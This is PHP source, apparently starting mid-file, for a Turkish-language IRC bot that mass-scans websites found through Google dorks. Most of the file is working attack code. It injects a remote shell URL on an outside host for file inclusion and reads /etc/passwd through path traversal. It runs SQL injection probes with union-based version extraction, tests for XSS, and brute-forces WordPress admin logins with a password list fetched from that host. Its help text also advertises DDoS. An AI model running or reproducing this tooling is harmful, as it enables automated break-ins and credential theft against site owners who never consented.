#si'; public $bing_regex = '#

(.*?)Hosts on this IP#si','#Whois#si'); public $reverse_dosya = 'reverse.txt'; public $incele_wp = 'Hedef/wp.txt'; public $incele_joomla = 'Hedef/joomla.txt'; public $post; public $basic_password = 'http://afrikanhosting.com/images/wp.txt'; public $wordpress_regex = array('general.php','wp-content','wp-includes'); public $joomla_regex = array('components','option=com_'); public $joomla_buglist = array(); public $shell_adresi = 'http://afrikanhosting.com/images/burtay/rfi.txt?'; public $rfi_regex = 'CodedByBurtay'; public $rfi_log = 'rfi.txt'; public $lfi_log = 'lfi.txt'; public $lfd_log = 'lfd.txt'; public $xss_log = 'xss.txt'; public $mysql_log = 'mysql.txt'; public $mssql_log = 'mssql.txt'; public $access_log = 'access.txt'; public $oracle_log = 'oracle.txt'; public $blind_log = 'blind.txt'; public $wp_log = 'wp.txt'; public $lfi_shell = '../../../../../../../../../../../../../../../etc/passwd'; public $lfi_regex = 'root:x:'; public $sql_ek = "'a"; public $sql_shell = '+and+1=0'; public $sql_shell2 = '+and+1=1'; public $max_kolon = 30; public $versiyon_regex = array('concat(0x3C626F7476657273696F6E3E,version(),0x3C2F626F7476657273696F6E3E)','#(.*?)#si'); public $mysql_regex = array('MySQL','mysql_fetch_array()','Sql syntax','mysql_fetch_row()','mysql_num_rows()','ODBC SQL'); public $mssql_regex = array('MSSQL','Unclosed',"'dbo'"); public $access_regex = array('Access','JET Database','for JDBC'); public $oracle_regex = array('ORACLE','ORA-01756'); public $xss_regex = ""; public $siyah = '1'; public $mavi = '2'; public $yesil = '3'; public $kirmizi = '4'; public $kahverengi = '5'; public $mor = '6'; public $turuncu = '7'; public $sari = '8'; public $google_renk; public function __construct() { $this->google_renk = $this->mavi . "G" . $this->kirmizi . "o" . $this->sari . "o" . $this->mavi . "g" . $this->yesil . "l" . $this->kirmizi . "e " . $this->kahverengi . " " ; } function baglan($server,$port) { $this->server = $server; $this->port = $port; $this->baglan = fsockopen($this->server,$this->port,$error_no,$error_str,10); } function ilk_adim($nick,$kanal) { $this->nick = $nick; $this->kanal = $kanal; fputs($this->baglan,"NICK ".$this->nick . $this->alt); fputs($this->baglan,"USER ".$this->nick ." " . $this->server . " ". $this->server . " : " .$nick . $this->alt); fputs($this->baglan,"JOIN ".$this->kanal. $this->alt); $this->yaz($this->turuncu . "Bottay Kanala Girdi.Açın Önümü Lan "); $this->yaz($this->turuncu . "Coded By ". $this->yesil . base64_decode("YnVydGF5")); } public function kanalda_kal() { while (! feof($this->baglan)) { $this->log = fgets($this->baglan,128); //$this->kayit($this->log_dosyasi,nl2br($this->log)); $this->ayir($this->log); $komut = explode(":",$this->ex[3]); $komut = trim($komut[1]); ob_flush(); flush(); usleep(5000); echo $this->log."
"; if($this->ex[0]=="PING") { fputs($this->baglan,"PONG ".$this->ex[1]."\n"); $this->yaz($this->kirmizi ."Bilgi:". $this->mavi . "PONG gönderildi"); echo "Bilgi:PONG Gönderildi
"; } switch($komut) { case "!help": $this->yaz($this->mavi . "Coded By ".base64_decode("YnVydGF5")); $this->yaz($this->mavi . "Bottay v.1.0 Beta Test"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!google googledomain dil dork start_page finish_page -> googler için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!google_kısa googledomain dil dork start_page finish_page -> googler sadece URL için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!bing burtay burtay dork start_page finish_page -> Bing Arama Motoru için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!rfi googledomain dil dork start_page finish_page -> RFI Tarama"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!lfi googledomain dil dork start_page finish_page -> LFI Tarama"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!sql googledomain dil dork start_page finish_page -> SQL Tarama"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!lfd googledomain dil dork start_page finish_page -> LFD Tarama"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!xss googledomain dil dork start_page finish_page -> LFD Tarama"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!wordpress googledomain dil dork start_page finish_page -> wordpress brute-force için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!versyion site.com/path -> MySQL kolon sayısı ve versiyon bulmak için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!reverse domain -> ReverseIP için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!incele -> Hedef sistemi incelemek için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!wp-auto -> Hedef sistemdeki wordpressleri brute etmek için"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!ddos site.com path atak-sayisi -> DDos"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!rapidshare -> RapidShare.com brute"); $this->yaz($this->kirmizi ."## ". $this->yesil . "!cikis -> Kanaldan Cikmak için"); break; case "!cikis": $this->yaz($this->kirmizi . "Cikis Yapilmakta"); fputs($this->baglan,"QUIT Allaha Ismarlaldık\n"); break; ###Google case "!google": foreach( $this->google() as $xxx ) { $this->yaz($xxx); } break; ###Google case "!bing": $this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır"); break; ###Googler Kısa Url case "!google_kısa": foreach( $this->google() as $xxx ) { $siteler = $this->url_kisalt($xxx); $this->yaz($siteler); } break; ####TEST case "!test": $this->test(); break; ###RFI case "!rfi": $this->yaz($this->mor . "RFI Taraması Başladı"); foreach( $this->google() as $xxx ) { $this->rfi($xxx); } $this->yaz($this->mor . "RFI Taraması Bitti"); break; ###LFI case "!lfi": $this->yaz($this->mor . "LFI Taraması Başladı"); foreach( $this->google() as $xxx ) { $this->lfi($xxx); } $this->yaz($this->mor . "LFI Taraması Bitti"); break; ###LFD case "!lfd": $this->yaz($this->mor . "LFD Taraması Başladı"); foreach( $this->google() as $xxx ) { $this->lfd($xxx); } $this->yaz($this->mor . "LFD Taraması Bitti"); break; ###SQL case "!sql": $this->yaz($this->mor . "SQL Injection Taraması Başladı"); foreach( $this->google() as $xxx ) { $this->sql($xxx); } $this->yaz($this->mor . "SQL Injection Taraması Bitti"); break; ###MySQL Versiyon case "!versiyon": $this->yaz($this->mor . "MySQL Versiyon Taraması Başladı"); $this->versiyon_bul(); $this->yaz($this->mor . "MySQL Versiyon Taraması Bitti"); break; ###Blind SQL case "!blind": $this->yaz($this->mor . "Blind SQL Injection Taraması Başladı"); foreach( $this->google() as $xxx ) { $this->blind_sql($xxx); } $this->yaz($this->mor . "Blind SQL Injection MySQL Taraması Bitti"); break; ###Wordpress case "!wordpress": $this->yaz($this->mor . "Wordpress Taraması Basladi"); foreach( $this->google() as $xxx ) { $xxx = $this->url_kisalt($xxx); $this->wordpress($xxx); } $this->yaz($this->mor . "Wordpress Taraması Bitti"); break; ###ReverseIP case "!reverse": $this->reverse_ip(); break; ###Manuel Postalama case "!mgg": $this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır"); break; ###XSS case "!xss": $this->yaz($this->mor . "XSS Taraması Başladı"); foreach( $this->google() as $xxx ) { $this->xss($xxx); } $this->yaz($this->mor . "XSS Taraması Bitti"); break; case "!incele": $this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır"); break; case "!wp-auto": $this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır"); break; case "!ddos": $this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır"); break; case "!rapidshare": $this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır"); break; } } } public function yaz($bunu) { # $bunu değişkeni ile dışardan yazdıracağım iletiyi gönderiyorum # Bu methodun çalışması için önceden baglan() methodunun çalıştırılması lazım fputs($this->baglan,"PRIVMSG " . $this->kanal . " : ". $bunu . "\n" ); } public function get($site) { $curl = curl_init(); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl,CURLOPT_COOKIEFILE,"bottay.dat"); curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5); curl_setopt($curl,CURLOPT_URL,$site); $calis = curl_exec($curl); return $calis; } public function get2($site) { return file_get_contents($site); } public function post($site,$post) { $curl = curl_init(); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5); curl_setopt($curl,CURLOPT_URL,$site); curl_setopt($curl,CURLOPT_COOKIEJAR,"bottay.dat"); curl_setopt($curl,CURLOPT_COOKIEFILE,"bottay.dat"); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl,CURLOPT_POST,1); curl_setopt($curl,CURLOPT_POSTFIELDS,$post); $calis = curl_exec($curl); return $calis; } public function google() { //$this->google_dil(); $this->google_adres = $this->ex[4]; $this->yaz($this->turuncu ."Arama Yapılacak Google Domaini " . $this->yesil . $this->google_adres); $this->google_dil = $this->ex[5]; $this->yaz($this->turuncu ."Arama Yapılacak dil " . $this->yesil . $this->google_dil ); if( $this->google_dil=='multi' or $this->google_dil=='') { $this->google_dil=''; $this->yaz($this->turuncu ."Arama Yapılacak dil " . $this->yesil ." Bütün diller"); } // Kanalda Komuttan Sonra Gönderilen İlk Kelime $kelime = urlencode($this->ex[6]); // Kanalda Komuttan Sonra Gönderilen İkinci Kelime $basla = $this->ex[7]-1; // Kanalda Komuttan Sonra Gönderilen Üçüncü Kelime $bit = $this->ex[8]-1; // Çıkan Değerleri array_push ile Method Dışına almak için array bir değişken tanımlama $sonucs = array(); // Kanaldan Gönderilen Bşalangıç ve bitiş sayfası için Gerekli Değerler ile For döngüsü for($id=$basla ; $id<=$bit ; $id++) { $sayfa_no = $id+1; $this->yaz( $this->google_renk . $sayfa_no .". Sayfa Linkleri Alınıyor"); //Gidilecek sayfa Sayısını 10 ile çarparak GoogleURL kısmına uydur $rakam = $id*10; //Gidilecek sayfa Ve aranacak Kelimeyi bildir $site= $this->google_adres . "/search?q=".$kelime."&lr=lang_".$this->google_dil ."&start=".$rakam."&sa=N"; //Çıkan Sonuçları Regex ile al preg_match_all($this->google_regex,$this->get($site),$sonucfonk); //Regexden Gelen Array'ı Foreach Döngüsüne Sok foreach($sonucfonk[1] as $yazdir) { //HTML tag Varsa yok et ve temizle ifadeyi $sonuc = strip_tags($yazdir); //Bütün Değeri Method dışına Taşımak için Başka bir değişkene Push et array_push($sonucs,$sonuc); } } //Array_push ile dolan veriyi dönder //$this->yaz($google_renk . "Toplam Alınan Link ". $this->yesil . ($bit+1)*100 ); return $sonucs; } public function test() { if ( ereg ( $this->rfi_regex,$this->get($this->shell_adresi) ) ) { $this->yaz($this->yesil ."Shell Adresi Çalışıyor.RFI taratabilirsiniz"); } else { $this->yaz($this->kirmizi . "Shell Adresi Çalışmıyor"); } } public function rfi($gelen) { $site = $this->explode_rfi($gelen); $this->yaz($this->mor . "RFI Testing " . $this->turuncu . $site); sleep(2); if( ereg ($this->rfi_regex,$this->get( $site.$this->shell_adresi )) ) { $this->yaz($this->kirmizi . "R". $this->mavi ."F". $this->sari ."I " .$this->yesil . $site); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("RFI ".$site); $this->kayit($this->rfi_log,$gelen."/n"); } } } public function lfi($gelen) { $site = $this->explode_rfi($gelen); $this->yaz($this->mor . "LFI Testing " . $this->turuncu . $site); sleep(2); if( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell )) ) { $this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."I " .$this->yesil . $site.$this->lfi_shell ."%00"); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("LFI ".$site.$this->lfi_shell); $this->kayit($this->lfi_log,$gelen.$this->lfi_shell ."\n"); } } elseif( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell ."%00" )) ) { $this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."I " .$this->yesil . $site.$this->lfi_shell ."%00"); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("LFI ".$site.$this->lfi_shell ."%00"); $this->kayit($this->lfi_log,$gelen.$this->lfi_shell ."%00 \n"); } } } public function lfd($gelen) { $site = $this->explode_rfi($gelen); $this->yaz($this->mor . "LFD Testing " . $this->turuncu . $site); if( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell )) ) { $this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."D " .$this->yesil . $site.$this->lfi_shell ."%00"); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->kayit($this->lfd_log,$gelen.$this->lfi_shell ."\n"); $this->bug_kayit("LFD ".$gelen.$this->lfi_shell); } } elseif( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell ."%00" )) ) { $this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."I " .$this->yesil . $site.$this->lfi_shell ."%00"); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->kayit($this->lfd_log,$gelen.$this->lfi_shell ."%00\n"); $this->bug_kayit("LFD ".$gelen.$this->lfi_shell ."%00"); } } } public function sql($gelen) { $this->yaz($this->mor . "SQL Testing " . $this->turuncu . $gelen.$this->sql_ek); $site = $this->get($gelen.$this->sql_ek ); if( eregi($this->mysql_regex[1],$site) or eregi($this->mysql_regex[2],$site) or eregi($this->mysql_regex[3],$site) or eregi($this->mysql_regex[4],$site) or eregi($this->mysql_regex[5],$site) ) { $this->yaz($this->kirmizi . "M". $this->mavi ."y". $this->sari ."S" .$this->yesil . "Q" . $this->kirmizi . "L " . $this->yesil . $gelen); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->kayit($this->mysql_log,$gelen ."\n"); $this->bug_kayit("MySQL Injection ".$gelen); } } elseif( eregi($this->mssql_regex[1],$site) or eregi($this->mssql_regex[2],$site)) { $this->yaz($this->kirmizi . "M". $this->mavi ."S". $this->sari ."S" .$this->yesil . "Q" . $this->kirmizi . "L " . $this->yesil . $gelen); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("MSSQL Injection ".$gelen); $this->kayit($this->mssql_log,$gelen ."\n"); } } elseif( eregi($this->access_regex[1],$site) or eregi($this->access_regex[2],$site) ) { $this->yaz($this->kirmizi . "A". $this->mavi ."c". $this->sari ."c" .$this->yesil . "e" . $this->kirmizi . "s" . $this->kirmizi . "s " . $this->yesil . $gelen); if( eregi ($this->url_kisalt($gelen),file_get_contents("$this->toplu_bug")) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("Access SQL Injection ".$gelen); $this->kayit($this->access_log,$gelen ."\n"); } } elseif( eregi($this->oracle_regex[1],$site) ) { $this->yaz($this->kirmizi . "O". $this->mavi ."R". $this->sari ."A" .$this->yesil . "C" . $this->kirmizi . "L" . $this->kirmizi . "E " . $this->yesil . $gelen); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("ORACLE SQL Injection ".$gelen); $this->kayit($this->oracle_log,$gelen ."\n"); } } } public function blind_sql($gelen) { if( $this->get2( $site.$this->sql_shell ) !== $this->get2( $site.$this->sql_shell2) ) { $this->yaz($this->kirmizi . "Blind "."S" .$this->yesil . "Q" . $this->kirmizi . "L " . $this->yesil . $site); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("Blind SQL Injection ".$site); $this->kayit($this->blind_log,$site ."\n"); } } } public function versiyon_bul($site) { if ($site == '') $site = $this->ex[4]; $site = trim($site) .$this->sql_shell . "+union+select+". $this->versiyon_regex[0]; $this->yaz($this->turuncu . "Kolon Sayısı bulunuyor"); for($i=1 ; $i<=$this->max_kolon ; $i++) { $kaynak = $this->get($site.'--'); $title = preg_match($this->versiyon_regex[1],$kaynak,$versiyon); if ($title) { $this->yaz($this->yesil . "Kolon Sayisi Bulundu : ".$this->kirmizi . ' ' . $i); $this->yaz($this->yesil ."Versiyonu : " . $this->kirmizi . ' '. $versiyon[1] ); break; } $site = $site.','.$this->versiyon_regex[0]; } } public function xss($gelen) { $gelen = $this->explode_rfi($gelen); $this->yaz($this->mor . "XSS Testing " . $this->turuncu . $gelen); if( ereg ($this->rfi_regex,$this->get($gelen.$this->xss_regex) )) { $this->yaz($this->kirmizi . "X" .$this->yesil . "S" . $this->kirmizi . "S " . $this->yesil . $gelen); if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) ) { $this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" ); } else { $this->bug_kayit("XSS ".$gelen); $this->kayit($this->xss_log,$gelen ."\n"); } } } public function url_kisalt($url) { $ayir = explode("/",$url); return "http://".$ayir[2]; } public function wordpress($site) { $this->yaz($this->mavi . "Taranan Site : ". $this->turuncu . $site); foreach($this->basic_password() as $passwords) { $password = trim($passwords); //$this->yaz("Denenen Sifre ".$password); $post = "log=admin&pwd=".$password."&redirect_to=".$site."/wp-admin/&testcookie=1"; if( eregi ($this->wordpress_regex[0],$this->post($site."/wp-login.php",$post) ) ) { $this->yaz($this->yesil.$site .$this->kirmizi." adresi Wordpress taramasinda kirilmistir.Sifresi ".$this->mor.$password); break; } } } public function reverse_ip() { //hedef siteyi al $site = $this->ex[4]; //Başladığına dair mesaj ver $this->yaz($this->mor . "ReverseIP işlemi başladı"); //kaynağı çek $kaynak = $this->get($this->reverse_site . $site); //toplam siteyi çek preg_match($this->reverse_regex[0],$kaynak,$toplam); $toplam = $toplam[1]; $this->yaz($this->mor . "toplam". $this->yesil . " " . $toplam . $this->mor ." site var"); $this->yaz($this->turuncu . "Siteler Çekiliyor"); unlink($this->reverse_dosya); preg_match_all($this->reverse_regex[1],$kaynak,$siteler); foreach($siteler[1] as $xyz) { $this->yaz($this->yesil . $xyz); $this->kayit($this->reverse_dosya,$xyz."\n"); } $this->yaz($this->turuncu . "siteler dosyaya kaydedildi.ayrıştırma işlemi için ".$this->kirmizi ."!incele"); } public function kayit($dosya,$gelen) { $ac = fopen($dosya,'ab'); fwrite($ac,$gelen); fclose($ac); } public function basic_password() { $sifre_al = file_get_contents($this->basic_password); $sifreler = explode("\n",$sifre_al); return $sifreler; } public function explode_rfi($gelen) { $gelen = explode("=",$gelen); $site = $gelen[0]."="; return $site; } public function ayir($gelen) { $this->ex = explode(' ',$gelen); } public function bug_kayit($bug) { $ac = fopen( $this->bug_log,'ab' ); fwrite($ac,$bug."\n
"); fclose($ac); $ac = fopen( $this->toplu_bug,'ab' ); fwrite($ac,$this->url_kisalt($bug)."\n"); fclose($ac); $this->yaz($this->turuncu . "Bulunan Bug Kaydedildi"); } } $class = new IRC_BOT(); $class->baglan("irc.freenode.net",6667); $class->ilk_adim(base64_decode("Ym90dGF5")."-public".rand(1,100),"#megaturks"); $class->kanalda_kal(); ?>